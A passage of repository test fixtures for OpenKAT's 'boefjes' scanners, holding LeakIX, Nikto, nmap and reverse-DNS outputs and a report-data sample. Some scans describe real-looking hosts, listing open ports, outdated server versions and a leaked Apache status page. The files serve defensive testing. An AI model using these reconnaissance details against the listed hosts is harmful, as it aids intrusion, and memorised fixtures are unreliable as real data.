HTTP/1.0\\n\\n14-92-0/0/28386.\\n0.443942500.00.001148.46\\n::1http/1.1127.0.1.1:8080OPTIONS * HTTP/1.0\\n\\n15-92-0/0/35854.\\n193.81465100.00.00839.34\\n127.0.0.1http/1.1esdit.jedu.pe:8080GET /flatlab/fonts/glyphicons-halflings-regular.woff2 HTTP/1.0\\n\\n16-92-0/0/37843.\\n2.543960000.00.001286.85\\n::1http/1.1127.0.1.1:8080OPTIONS * HTTP/1.0\\n\\n17-92-0/0/9089.\\n2.313960700.00.00125.02\\n::1http/1.1127.0.1.1:8080OPTIONS * HTTP/1.0\\n\\n18-92-0/0/5779.\\n13.413942300.00.00135.41\\n::1http/1.1127.0.1.1:8080OPTIONS * HTTP/1.0\\n\\n19-92-0/0/6012.\\n1.263961100.00.00127.38\\n::1http/1.1127.0.1.1:8080OPTIONS * HTTP/1.0\\n\\n20-92-0/0/3754.\\n1.133960600.00.0064.97\\n::1http/1.1127.0.1.1:8080OPTIONS * HTTP/1.0\\n\\n21-92-0/0/3893.\\n1.233960500.00.00170.64\\n::1http/1.1127.0.1.1:8080OPTIONS * HTTP/1.0\\n\\n22-92-0/0/4257.\\n0.004038000.00.00109.84\\n::1http/1.1127.0.1.1:8080OPTIONS * HTTP/1.0\\n\\n23-92-0/0/4334.\\n6.244029300.00.00118.75\\n::1http/1.1127.0.1.1:8080OPTIONS * HTTP/1.0\\n\\n24-92-0/0/2085.\\n0.694036710.00.0028.35\\n::1http/1.1127.0.1.1:8080OPTIONS * HTTP/1.0\\n\\n25-92-0/0/999.\\n6.504029000.00.0016.55\\n::1http/1.1127.0.1.1:8080OPTIONS * HTTP/1.0\\n\\n26-92-0/0/1301.\\n2.154113400.00.0018.53\\n::1http/1.1127.0.1.1:8080OPTIONS * HTTP/1.0\\n\\n27-92-0/0/829.\\n15.684087700.00.0026.35\\n::1http/1.1127.0.1.1:8080OPTIONS * HTTP/1.0\\n\\n28-92-0/0/389.\\n0.894115500.00.0010.49\\n::1http/1.1127.0.1.1:8080OPTIONS * HTTP/1.0\\n\\n29-92-0/0/415.\\n2.764113000.00.005.79\\n::1http/1.1127.0.1.1:8080OPTIONS * HTTP/1.0\\n\\n30-92-0/0/300.\\n2.174112600.00.007.78\\n::1http/1.1127.0.1.1:8080OPTIONS * HTTP/1.0\\n\\n31-92-0/0/297.\\n2.024112700.00.004.01\\n::1http/1.1127.0.1.1:8080OPTIONS * HTTP/1.0\\n\\n32-92-0/0/519.\\n0.814115400.00.007.53\\n::1http/1.1127.0.1.1:8080OPTIONS * HTTP/1.0\\n\\n33-92-0/0/766.\\n0.854115300.00.0010.29\\n::1http/1.1127.0.1.1:8080OPTIONS * HTTP/1.0\\n\\n34-92-0/0/423.\\n15.124088200.00.006.30\\n::1http/1.1127.0.1.1:8080OPTIONS * HTTP/1.0\\n\\n35-92-0/0/957.\\n2.024113100.00.0014.08\\n::1http/1.1127.0.1.1:8080OPTIONS * HTTP/1.0\\n\\n36-92-0/0/225.\\n2.484112200.00.001.57\\n::1http/1.1127.0.1.1:8080OPTIONS * HTTP/1.0\\n\\n37-92-0/0/265.\\n2.614112300.00.002.92\\n::1http/1.1127.0.1.1:8080OPTIONS * HTTP/1.0\\n\\n38-92-0/0/132.\\n4.867590700.00.001.09\\n::1http/1.1127.0.1.1:8080OPTIONS * HTTP/1.0\\n\\n39-92-0/0/352.\\n2.867594200.00.006.33\\n::1http/1.1127.0.1.1:8080OPTIONS * HTTP/1.0\\n\\n40-92-0/0/593.\\n7.887586800.00.008.25\\n::1http/1.1127.0.1.1:8080OPTIONS * HTTP/1.0\\n\\n41-92-0/0/85.\\n4.607592200.00.000.87\\n::1http/1.1127.0.1.1:8080OPTIONS * HTTP/1.0\\n\\n42-92-0/0/166.\\n3.087591500.00.001.10\\n::1http/1.1127.0.1.1:8080OPTIONS * HTTP/1.0\\n\\n43-92-0/0/287.\\n7.867586700.00.003.24\\n::1http/1.1127.0.1.1:8080OPTIONS * HTTP/1.0\\n\\n44-92-0/0/137.\\n5.517588900.00.001.17\\n::1http/1.1127.0.1.1:8080OPTIONS * HTTP/1.0\\n\\n45-92-0/0/236.\\n1.387593600.00.001.80\\n::1http/1.1127.0.1.1:8080OPTIONS * HTTP/1.0\\n\\n46-92-0/0/142.\\n8.547587300.00.001.24\\n::1http/1.1127.0.1.1:8080OPTIONS * HTTP/1.0\\n\\n47-92-0/0/74.\\n2.697592400.00.001.39\\n::1http/1.1127.0.1.1:8080OPTIONS * HTTP/1.0\\n\\n48-92-0/0/270.\\n1.717593300.00.003.73\\n::1http/1.1127.0.1.1:8080OPTIONS * HTTP/1.0\\n\\n49-92-0/0/23.\\n0.417595310.00.000.08\\n::1http/1.1127.0.1.1:8080OPTIONS * HTTP/1.0\\n\\n50-92-0/0/48.\\n0.957594400.00.000.20\\n::1http/1.1127.0.1.1:8080OPTIONS * HTTP/1.0\\n\\n51-88-0/0/19.\\n1.2440467800.00.000.09\\n::1http/1.1127.0.1.1:8080OPTIONS * HTTP/1.0\\n\\n52-88-0/0/68.\\n0.4640472500.00.001.47\\n::1http/1.1127.0.1.1:8080OPTIONS * HTTP/1.0\\n\\n53-88-0/0/12.\\n1.6640467300.00.000.02\\n::1http/1.1127.0.1.1:8080OPTIONS * HTTP/1.0\\n\\n54-88-0/0/9.\\n0.0040474710.00.000.05\\n::1http/1.1127.0.1.1:8080OPTIONS * HTTP/1.0\\n\\n55-88-0/0/132.\\n0.0040474500.00.005.12\\n::1http/1.1127.0.1.1:8080OPTIONS * HTTP/1.0\\n\\n56-88-0/0/3.\\n0.0040474600.00.000.03\\n::1http/1.1127.0.1.1:8080OPTIONS * HTTP/1.0\\n\\n57-88-0/0/3.\\n0.0040474300.00.000.00\\n::1http/1.1127.0.1.1:8080OPTIONS * HTTP/1.0\\n\\n58-88-0/0/4.\\n0.0040474200.00.000.00\\n::1http/1.1127.0.1.1:8080OPTIONS * HTTP/1.0\\n\\n59-88-0/0/3.\\n\",\n    \"time\": \"2024-02-14T12:46:34.08978866Z\",\n    \"ssl\": {\n      \"detected\": false,\n      \"enabled\": true,\n      \"jarm\": \"15d3fd16d29d29d00042d43d00000053048c0cf21f940aa8a7c90581768da6\",\n      \"cypher_suite\": \"TLS_AES_128_GCM_SHA256\",\n      \"version\": \"TLSv1.3\",\n      \"certificate\": {\n        \"cn\": \"americansystem.jedu.pe\",\n        \"domain\": [\n          \"americansystem.jedu.pe\"\n        ],\n        \"fingerprint\": \"c48d5f6b436991ff2343c7fd114d67b81d39dd42248051a68f5a20a6c2509f43\",\n        \"key_algo\": \"RSA\",\n        \"key_size\": 2048,\n        \"issuer_name\": \"R3\",\n        \"not_before\": \"2024-02-08T02:16:38Z\",\n        \"not_after\": \"2024-05-08T02:16:37Z\",\n        \"valid\": false\n      }\n    },\n    \"ssh\": {\n      \"fingerprint\": \"\",\n      \"version\": 0,\n      \"banner\": \"\",\n      \"motd\": \"\"\n    },\n    \"service\": {\n      \"credentials\": {\n        \"noauth\": false,\n        \"username\": \"\",\n        \"password\": \"\",\n        \"key\": \"\",\n        \"raw\": null\n      },\n      \"software\": {\n        \"name\": \"nginx\",\n        \"version\": \"1.14.0\",\n        \"os\": \"Ubuntu\",\n        \"modules\": null,\n        \"fingerprint\": \"\"\n      }\n    },\n    \"leak\": {\n      \"stage\": \"\",\n      \"type\": \"\",\n      \"severity\": \"medium\",\n      \"dataset\": {\n        \"rows\": 0,\n        \"files\": 0,\n        \"size\": 0,\n        \"collections\": 0,\n        \"infected\": false,\n        \"ransom_notes\": null\n      }\n    },\n    \"tags\": [],\n    \"geoip\": {\n      \"continent_name\": \"North America\",\n      \"region_iso_code\": \"US-NJ\",\n      \"city_name\": \"North Bergen\",\n      \"country_iso_code\": \"US\",\n      \"country_name\": \"United States\",\n      \"region_name\": \"New Jersey\",\n      \"location\": {\n        \"lat\": 40.793,\n        \"lon\": -74.0247\n      }\n    },\n    \"network\": {\n      \"organization_name\": \"DIGITALOCEAN-ASN\",\n      \"asn\": 14061,\n      \"network\": \"143.244.128.0/18\"\n    }\n  }\n]\n"
  },
  {
    "path": "boefjes/tests/examples/raw/leakix-hostname-strict.json",
    "content": "{\n  \"search_mode\": \"strict\",\n  \"input_ooi\": \"Hostname|internet|example.com\",\n  \"results\": [\n    {\n      \"event_type\": \"service\",\n      \"event_source\": \"HttpPlugin\",\n      \"event_pipeline\": [\"tcpid\", \"HttpPlugin\"],\n      \"event_fingerprint\": \"aabb001122334455aabb001122334455aabb001122334455aabb001122334455\",\n      \"ip\": \"93.184.215.14\",\n      \"host\": \"example.com\",\n      \"reverse\": \"\",\n      \"port\": \"443\",\n      \"mac\": \"\",\n      \"vendor\": \"\",\n      \"transport\": [\"tcp\", \"https\"],\n      \"protocol\": \"https\",\n      \"http\": {\n        \"root\": \"\",\n        \"url\": \"\",\n        \"status\": 200,\n        \"length\": 0,\n        \"header\": {},\n        \"title\": \"Example Domain\",\n        \"favicon_hash\": \"\"\n      },\n      \"summary\": \"\",\n      \"time\": \"2024-01-01T00:00:00Z\",\n      \"ssl\": {\n        \"detected\": true,\n        \"enabled\": true,\n        \"jarm\": \"\",\n        \"cypher_suite\": \"\",\n        \"version\": \"TLSv1.3\",\n        \"certificate\": {\n          \"cn\": \"example.com\",\n          \"domain\": [\"example.com\"],\n          \"fingerprint\": \"\",\n          \"key_algo\": \"\",\n          \"key_size\": 0,\n          \"issuer_name\": \"\",\n          \"not_before\": \"0001-01-01T00:00:00Z\",\n          \"not_after\": \"0001-01-01T00:00:00Z\",\n          \"valid\": true\n        }\n      },\n      \"ssh\": {\"fingerprint\": \"\", \"version\": 0, \"banner\": \"\", \"motd\": \"\"},\n      \"service\": {\n        \"credentials\": {\"noauth\": false, \"username\": \"\", \"password\": \"\", \"key\": \"\", \"raw\": null},\n        \"software\": {\"name\": \"nginx\", \"version\": \"1.24.0\", \"os\": \"\", \"modules\": null, \"fingerprint\": \"\"}\n      },\n      \"leak\": {\"stage\": \"\", \"type\": \"\", \"severity\": \"\", \"dataset\": {\"rows\": 0, \"files\": 0, \"size\": 0, \"collections\": 0, \"infected\": false, \"ransom_notes\": null, \"stage\": \"\"}},\n      \"tags\": [],\n      \"geoip\": {\"continent_name\": \"\", \"region_iso_code\": \"\", \"city_name\": \"\", \"country_iso_code\": \"\", \"country_name\": \"\", \"location\": {\"lat\": 0, \"lon\": 0}},\n      \"network\": {\"asn\": 15133, \"organization_name\": \"Edgecast Inc.\", \"network\": \"93.184.215.0/24\"}\n    },\n    {\n      \"event_type\": \"service\",\n      \"event_source\": \"HttpPlugin\",\n      \"event_pipeline\": [\"tcpid\", \"HttpPlugin\"],\n      \"event_fingerprint\": \"ccdd001122334455ccdd001122334455ccdd001122334455ccdd001122334455\",\n      \"ip\": \"93.184.215.14\",\n      \"host\": \"sub.example.com\",\n      \"reverse\": \"\",\n      \"port\": \"443\",\n      \"mac\": \"\",\n      \"vendor\": \"\",\n      \"transport\": [\"tcp\", \"https\"],\n      \"protocol\": \"https\",\n      \"http\": {\n        \"root\": \"\",\n        \"url\": \"\",\n        \"status\": 200,\n        \"length\": 0,\n        \"header\": {},\n        \"title\": \"Subdomain\",\n        \"favicon_hash\": \"\"\n      },\n      \"summary\": \"\",\n      \"time\": \"2024-01-01T00:00:00Z\",\n      \"ssl\": {\n        \"detected\": true,\n        \"enabled\": true,\n        \"jarm\": \"\",\n        \"cypher_suite\": \"\",\n        \"version\": \"TLSv1.3\",\n        \"certificate\": {\n          \"cn\": \"sub.example.com\",\n          \"domain\": [\"sub.example.com\"],\n          \"fingerprint\": \"\",\n          \"key_algo\": \"\",\n          \"key_size\": 0,\n          \"issuer_name\": \"\",\n          \"not_before\": \"0001-01-01T00:00:00Z\",\n          \"not_after\": \"0001-01-01T00:00:00Z\",\n          \"valid\": true\n        }\n      },\n      \"ssh\": {\"fingerprint\": \"\", \"version\": 0, \"banner\": \"\", \"motd\": \"\"},\n      \"service\": {\n        \"credentials\": {\"noauth\": false, \"username\": \"\", \"password\": \"\", \"key\": \"\", \"raw\": null},\n        \"software\": {\"name\": \"nginx\", \"version\": \"1.24.0\", \"os\": \"\", \"modules\": null, \"fingerprint\": \"\"}\n      },\n      \"leak\": {\"stage\": \"\", \"type\": \"\", \"severity\": \"\", \"dataset\": {\"rows\": 0, \"files\": 0, \"size\": 0, \"collections\": 0, \"infected\": false, \"ransom_notes\": null, \"stage\": \"\"}},\n      \"tags\": [],\n      \"geoip\": {\"continent_name\": \"\", \"region_iso_code\": \"\", \"city_name\": \"\", \"country_iso_code\": \"\", \"country_name\": \"\", \"location\": {\"lat\": 0, \"lon\": 0}},\n      \"network\": {\"asn\": 15133, \"organization_name\": \"Edgecast Inc.\", \"network\": \"93.184.215.0/24\"}\n    },\n    {\n      \"event_type\": \"service\",\n      \"event_source\": \"HttpPlugin\",\n      \"event_pipeline\": [\"tcpid\", \"HttpPlugin\"],\n      \"event_fingerprint\": \"eeff001122334455eeff001122334455eeff001122334455eeff001122334455\",\n      \"ip\": \"93.184.215.14\",\n      \"host\": \"other.example.org\",\n      \"reverse\": \"\",\n      \"port\": \"80\",\n      \"mac\": \"\",\n      \"vendor\": \"\",\n      \"transport\": [\"tcp\", \"http\"],\n      \"protocol\": \"http\",\n      \"http\": {\n        \"root\": \"\",\n        \"url\": \"\",\n        \"status\": 200,\n        \"length\": 0,\n        \"header\": {},\n        \"title\": \"Other Site\",\n        \"favicon_hash\": \"\"\n      },\n      \"summary\": \"\",\n      \"time\": \"2024-01-01T00:00:00Z\",\n      \"ssl\": {\n        \"detected\": false,\n        \"enabled\": false,\n        \"jarm\": \"\",\n        \"cypher_suite\": \"\",\n        \"version\": \"\",\n        \"certificate\": {\n          \"cn\": \"\",\n          \"domain\": null,\n          \"fingerprint\": \"\",\n          \"key_algo\": \"\",\n          \"key_size\": 0,\n          \"issuer_name\": \"\",\n          \"not_before\": \"0001-01-01T00:00:00Z\",\n          \"not_after\": \"0001-01-01T00:00:00Z\",\n          \"valid\": false\n        }\n      },\n      \"ssh\": {\"fingerprint\": \"\", \"version\": 0, \"banner\": \"\", \"motd\": \"\"},\n      \"service\": {\n        \"credentials\": {\"noauth\": false, \"username\": \"\", \"password\": \"\", \"key\": \"\", \"raw\": null},\n        \"software\": {\"name\": \"apache\", \"version\": \"2.4.52\", \"os\": \"\", \"modules\": null, \"fingerprint\": \"\"}\n      },\n      \"leak\": {\"stage\": \"\", \"type\": \"\", \"severity\": \"\", \"dataset\": {\"rows\": 0, \"files\": 0, \"size\": 0, \"collections\": 0, \"infected\": false, \"ransom_notes\": null, \"stage\": \"\"}},\n      \"tags\": [],\n      \"geoip\": {\"continent_name\": \"\", \"region_iso_code\": \"\", \"city_name\": \"\", \"country_iso_code\": \"\", \"country_name\": \"\", \"location\": {\"lat\": 0, \"lon\": 0}},\n      \"network\": {\"asn\": 15133, \"organization_name\": \"Edgecast Inc.\", \"network\": \"93.184.215.0/24\"}\n    }\n  ]\n}\n"
  },
  {
    "path": "boefjes/tests/examples/raw/nikto-apache.dvwa.cloud.json",
    "content": "[\n  {\n    \"host\": \"apache.dvwa.cloud\",\n    \"ip\": \"192.0.2.10\",\n    \"port\": \"443\",\n    \"banner\": \"Apache/2.4.49 (Unix)\",\n    \"vulnerabilities\": [\n      {\n        \"id\": \"999986\",\n        \"method\": \"GET\",\n        \"url\": \"/\",\n        \"msg\": \"Retrieved x-powered-by header: Apache/2.4.49.\"\n      },\n      {\n        \"id\": \"013587\",\n        \"references\": \"https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Content-Type-Options\",\n        \"method\": \"GET\",\n        \"url\": \"/\",\n        \"msg\": \"Suggested security header missing: x-content-type-options. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Content-Type-Options\"\n      },\n      {\n        \"id\": \"600050\",\n        \"method\": \"GET\",\n        \"url\": \"/\",\n        \"msg\": \"Apache/2.4.49 appears to be outdated (current is at least 2.4.66).\"\n      },\n      {\n        \"id\": \"999992\",\n        \"references\": \"https://en.wikipedia.org/wiki/Wildcard_certificate\",\n        \"method\": \"GET\",\n        \"url\": \"/\",\n        \"msg\": \"Server is using a wildcard certificate: *.dvwa.cloud. See: https://en.wikipedia.org/wiki/Wildcard_certificate\"\n      },\n      {\n        \"id\": \"999990\",\n        \"method\": \"OPTIONS\",\n        \"url\": \"/\",\n        \"msg\": \"Allowed HTTP Methods: HEAD, GET, POST, OPTIONS, TRACE .\"\n      },\n      {\n        \"id\": \"000434\",\n        \"references\": \"https://owasp.org/www-community/attacks/Cross_Site_Tracing\",\n        \"method\": \"TRACE\",\n        \"url\": \"/\",\n        \"msg\": \"HTTP TRACE method is active and replies which suggests the host is vulnerable to XST. See: https://owasp.org/www-community/attacks/Cross_Site_Tracing\"\n      },\n      {\n        \"id\": \"003584\",\n        \"references\": \"https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/\",\n        \"method\": \"GET\",\n        \"url\": \"/icons/README\",\n        \"msg\": \"Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/\"\n      }\n    ]\n  }\n]\n"
  },
  {
    "path": "boefjes/tests/examples/raw/nikto-example.com.json",
    "content": "[\n  {\n    \"host\": \"example.com\",\n    \"ip\": \"178.128.108.228\",\n    \"port\": \"80\",\n    \"banner\": \"\",\n    \"vulnerabilities\": [\n      {\n        \"id\": \"600575\",\n        \"method\": \"HEAD\",\n        \"url\": \"/\",\n        \"msg\": \"nginx/1.18.0 appears to be outdated (current is at least 1.25.3).\"\n      },\n      {\n        \"id\": \"999103\",\n        \"references\": \"https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/\",\n        \"method\": \"GET\",\n        \"url\": \"/\",\n        \"msg\": \"The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type.\"\n      }\n    ]\n  }\n]\n"
  },
  {
    "path": "boefjes/tests/examples/raw/nikto-non-existing.com.json",
    "content": "[\n  {\n    \"host\": \"non-existing.com\",\n    \"ip\": \"2.1.3.5\",\n    \"port\": \"6667\",\n    \"banner\": \"\",\n    \"vulnerabilities\": [\n      {\n        \"id\": \"0\",\n        \"method\": \"GET\",\n        \"url\": \"/\",\n        \"msg\": \"Unable to connect to non-existing.com.\"\n      }\n    ]\n  }\n]\n"
  },
  {
    "path": "boefjes/tests/examples/raw/nmap_mispoes.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE nmaprun>\n<?xml-stylesheet href=\"file:///usr/bin/../share/nmap/nmap.xsl\" type=\"text/xsl\"?>\n<!-- Nmap 7.94 scan initiated Wed Nov 15 15:30:01 2023 as: nmap -&#45;open -T4 -Pn -r -v10 -sV -sS -&#45;top-ports 250 -oX - 134.209.85.72 -->\n<nmaprun scanner=\"nmap\" args=\"nmap -&#45;open -T4 -Pn -r -v10 -sV -sS -&#45;top-ports 250 -oX - 134.209.85.72\" start=\"1700058601\" startstr=\"Wed Nov 15 15:30:01 2023\" version=\"7.94\" xmloutputversion=\"1.05\">\n<scaninfo type=\"syn\" protocol=\"tcp\" numservices=\"250\" services=\"1,3,7,9,13,17,19-26,33,37,42,53,79-82,88,100,106,110-111,113,119,135,139,143-144,161,179,199,222,254-255,264,280,311,389,407,427,443-445,464-465,497,500,512-515,543-544,548,554,563,587,593,625,631,636,646,787,808,873,888,902,990,992-993,995,999-1000,1022-1044,1048-1050,1053-1054,1056,1058-1059,1064-1066,1068-1069,1071,1074,1080,1110-1111,1218,1234,1352,1433,1494,1521,1700,1717,1720,1723,1755,1761,1801,1900,1935,1998,2000-2010,2049,2065,2103,2105,2107,2121,2161,2301,2383,2401,2601-2602,2701,2717,2869,2967,3000-3001,3052,3128,3260,3268-3269,3306,3389,3689-3690,3703,3986,4000-4001,4045,4444,4662,4899,5000-5001,5003,5009,5050-5051,5060,5101,5120,5190,5357,5432,5550,5555,5631,5666,5800-5801,5900-5901,6000-6002,6004,6112,6543,6646,6666,7000-7001,7019,7070,7100,7937-7938,8000,8002,8008-8010,8031,8080-8082,8443,8888,9000-9001,9090,9100,9102,9999-10001,10010,15000,32768,32770-32772,42510,49152-49157,50000-50001\"/>\n<verbose level=\"10\"/>\n<debugging level=\"0\"/>\n<taskbegin task=\"Parallel DNS resolution of 1 host.\" time=\"1700058602\"/>\n<taskend task=\"Parallel DNS resolution of 1 host.\" time=\"1700058602\"/>\n<taskbegin task=\"SYN Stealth Scan\" time=\"1700058602\"/>\n<taskend task=\"SYN Stealth Scan\" time=\"1700058604\" extrainfo=\"250 total ports\"/>\n<taskbegin task=\"Service scan\" time=\"1700058604\"/>\n<taskend task=\"Service scan\" time=\"1700058616\" extrainfo=\"5 services on 1 host\"/>\n<taskbegin task=\"NSE\" time=\"1700058616\"/>\n<taskend task=\"NSE\" time=\"1700058616\"/>\n<taskbegin task=\"NSE\" time=\"1700058616\"/>\n<taskend task=\"NSE\" time=\"1700058616\"/>\n<host starttime=\"1700058602\" endtime=\"1700058616\"><status state=\"up\" reason=\"user-set\" reason_ttl=\"0\"/>\n<address addr=\"134.209.85.72\" addrtype=\"ipv4\"/>\n<hostnames>\n</hostnames>\n<ports><extraports state=\"filtered\" count=\"242\">\n<extrareasons reason=\"no-response\" count=\"242\" proto=\"tcp\" ports=\"1,3,7,9,13,17,19-21,24-26,33,37,42,79,81-82,88,100,106,111,113,119,135,139,144,161,179,199,222,254-255,264,280,311,389,407,427,444-445,464-465,497,500,512-515,543-544,548,554,563,587,593,625,631,636,646,787,808,873,888,902,990,992-993,995,999-1000,1022-1044,1048-1050,1053-1054,1056,1058-1059,1064-1066,1068-1069,1071,1074,1080,1110-1111,1218,1234,1352,1433,1494,1521,1700,1717,1720,1723,1755,1761,1801,1900,1935,1998,2000-2010,2049,2065,2103,2105,2107,2121,2161,2301,2383,2401,2601-2602,2701,2717,2869,2967,3000-3001,3052,3128,3260,3268-3269,3389,3689-3690,3703,3986,4000-4001,4045,4444,4662,4899,5000-5001,5003,5009,5050-5051,5060,5101,5120,5190,5357,5432,5550,5555,5631,5666,5800-5801,5900-5901,6000-6002,6004,6112,6543,6646,6666,7000-7001,7019,7070,7100,7937-7938,8000,8002,8008-8010,8031,8080-8082,8443,8888,9000-9001,9090,9100,9102,9999-10001,10010,15000,32768,32770-32772,42510,49152-49157,50000-50001\"/>\n</extraports>\n<extraports state=\"closed\" count=\"3\">\n<extrareasons reason=\"reset\" count=\"3\" proto=\"tcp\" ports=\"23,110,143\"/>\n</extraports>\n<port protocol=\"tcp\" portid=\"22\"><state state=\"open\" reason=\"syn-ack\" reason_ttl=\"52\"/><service name=\"ssh\" product=\"OpenSSH\" version=\"8.4p1 Debian 5+deb11u2\" extrainfo=\"protocol 2.0\" ostype=\"Linux\" method=\"probed\" conf=\"10\"><cpe>cpe:/a:openbsd:openssh:8.4p1</cpe><cpe>cpe:/o:linux:linux_kernel</cpe></service></port>\n<port protocol=\"tcp\" portid=\"53\"><state state=\"open\" reason=\"syn-ack\" reason_ttl=\"52\"/><service name=\"domain\" product=\"ISC BIND\" version=\"9.16.44\" extrainfo=\"Debian Linux\" ostype=\"Linux\" method=\"probed\" conf=\"10\"><cpe>cpe:/a:isc:bind:9.16.44</cpe><cpe>cpe:/o:linux:linux_kernel</cpe></service></port>\n<port protocol=\"tcp\" portid=\"80\"><state state=\"open\" reason=\"syn-ack\" reason_ttl=\"52\"/><service name=\"http\" product=\"nginx\" version=\"1.18.0\" method=\"probed\" conf=\"10\"><cpe>cpe:/a:igor_sysoev:nginx:1.18.0</cpe></service></port>\n<port protocol=\"tcp\" portid=\"443\"><state state=\"open\" reason=\"syn-ack\" reason_ttl=\"52\"/><service name=\"http\" product=\"nginx\" version=\"1.18.0\" tunnel=\"ssl\" method=\"probed\" conf=\"10\"><cpe>cpe:/a:igor_sysoev:nginx:1.18.0</cpe></service></port>\n<port protocol=\"tcp\" portid=\"3306\"><state state=\"open\" reason=\"syn-ack\" reason_ttl=\"52\"/><service name=\"mysql\" product=\"MySQL\" extrainfo=\"unauthorized\" method=\"probed\" conf=\"10\"><cpe>cpe:/a:mysql:mysql</cpe></service></port>\n</ports>\n<times srtt=\"23541\" rttvar=\"5460\" to=\"100000\"/>\n</host>\n<runstats><finished time=\"1700058616\" timestr=\"Wed Nov 15 15:30:16 2023\" summary=\"Nmap done at Wed Nov 15 15:30:16 2023; 1 IP address (1 host up) scanned in 15.03 seconds\" elapsed=\"15.03\" exit=\"success\"/><hosts up=\"1\" down=\"0\" total=\"1\"/>\n</runstats>\n</nmaprun>\n"
  },
  {
    "path": "boefjes/tests/examples/rdns-example1.txt",
    "content": "RESOLVER: 1.1.1.1\nid 38032\nopcode QUERY\nrcode NOERROR\nflags QR RD RA\n;QUESTION\n1.2.0.192.in-addr.arpa. IN PTR\n;ANSWER\n1.2.0.192.in-addr.arpa. 86400 IN PTR example.com.\n;AUTHORITY\n;ADDITIONAL\n"
  },
  {
    "path": "boefjes/tests/examples/rdns-example2.txt",
    "content": "RESOLVER: 1.1.1.1\nid 10876\nopcode QUERY\nrcode NOERROR\nflags QR RD RA\nedns 0\npayload 1232\noption Generic 15\n;QUESTION\n1.2.0.192.in-addr.arpa. IN PTR\n;ANSWER\n1.2.0.192.in-addr.arpa. 86400 IN PTR example.com.\n;AUTHORITY\n;ADDITIONAL\n"
  },
  {
    "path": "boefjes/tests/examples/rdns-nxdomain.txt",
    "content": "NoAnswer"
  },
  {
    "path": "boefjes/tests/examples/report-data-normalize.json",
    "content": "{\n  \"id\": \"f50de284-d3c1-4f87-ba68-07b957b7a48f\",\n  \"raw_data\": {\n    \"id\": \"61962aee-e782-4632-b606-c51c559f425b\",\n    \"boefje_meta\": {\n      \"id\": \"c384d1f1-1bbb-4878-b818-a13bd55daf63\",\n      \"started_at\": \"2023-12-17T23:54:10.495434Z\",\n      \"ended_at\": \"2023-12-17T23:54:10.495439Z\",\n      \"boefje\": {\n        \"id\": \"manual\",\n        \"version\": null\n      },\n      \"input_ooi\": null,\n      \"arguments\": {},\n      \"organization\": \"multi\",\n      \"runnable_hash\": null,\n      \"environment\": null\n    },\n    \"mime_types\": [\n      {\n        \"value\": \"openkat/report-data\"\n      }\n    ]\n  },\n  \"normalizer\": {\n    \"id\": \"kat_report_data\"\n  }\n}\n"
  },
  {
    "path": "boefjes/tests/examples/report-data.json",
    "content": "{\n  \"organization_code\": \"test\",\n  \"organization_name\": \"Test\",\n  \"organization_tags\": [\n    \"tag1\",\n    \"tag2\"\n  ],\n  \"data\": {\n    \"report_data\": {\n      \"IPAddressV4|internet|192.0.2.0\": {\n        \"systems-report\": {\n          \"input_ooi\": \"IPAddressV4|internet|192.0.2.0\",\n          \"services\": {\n            \"IPAddressV4|internet|192.0.2.0\": {\n              \"hostnames\": [\n                \"Hostname|internet|example.com\"\n              ],\n              \"services\": [\n                \"Other\",\n                \"Web\"\n              ]\n            }\n          },\n          \"summary\": {\n            \"total_systems\": 1,\n            \"total_domains\": 1\n          }\n        }\n      }\n    },\n    \"post_processed_data\": {\n      \"systems\": {\n        \"services\": {\n          \"IPAddressV4|internet|192.0.2.0\": {\n            \"hostnames\": [\n              \"Hostname|internet|example.com\"\n            ],\n            \"services\": [\n              \"Other\",\n              \"Web\"\n            ]\n          }\n        }\n      },\n      \"services\": {\n        \"Other\": {\n          \"IPAddressV4|internet|192.0.2.0\": {\n            \"hostnames\": [\n              \"Hostname|internet|example.com\"\n            ],\n            \"services\": [\n              \"Other\",\n              \"Web\"\n            ]\n          }\n        },\n        \"Web\": {\n          \"IPAddressV4|internet|192.0.2.0\": {\n            \"hostnames\": [\n              \"Hostname|internet|example.com\"\n            ],\n            \"services\": [\n              \"Other\",\n              \"Web\"\n            ]\n          }\n        }\n      },\n      \"open_ports\": {},\n      \"ipv6\": {},\n      \"vulnerabilities\": {},\n      \"basic_security\": {\n        \"rpki\": {},\n        \"system_specific\": {\n          \"Mail\": [],\n          \"Web\": [],\n          \"DNS\": []\n        },\n        \"safe_connections\": {},\n        \"summary\": {\n          \"Other\": {\n            \"rpki\": {\n              \"number_of_compliant\": 0,\n              \"total\": 0\n            },\n            \"system_specific\": {\n              \"number_of_compliant\": 0,\n              \"total\": 0\n            },\n            \"safe_connections\": {\n              \"number_of_compliant\": 0,\n              \"total\": 0\n            }\n          },\n          \"Web\": {\n            \"rpki\": {\n              \"number_of_compliant\": 0,\n              \"total\": 0\n            },\n            \"system_specific\": {\n              \"number_of_compliant\": 0,\n              \"total\": 0\n            },\n            \"safe_connections\": {\n              \"number_of_compliant\": 0,\n              \"total\": 0\n            }\n          }\n        }\n      },\n      \"summary\": {\n        \"critical_vulnerabilities\": 0,\n        \"ips_scanned\": 1,\n        \"hostnames_scanned\": 1,\n        \"terms_in_report\": \"\"\n      },\n      \"total_findings\": 0,\n      \"total_systems\": 1,\n      \"total_systems_basic_security\": 0\n    }\n  }\n}\n"
  },
  {
    "path": "boefjes/tests/examples/scheduler/pop_response_boefje.json",
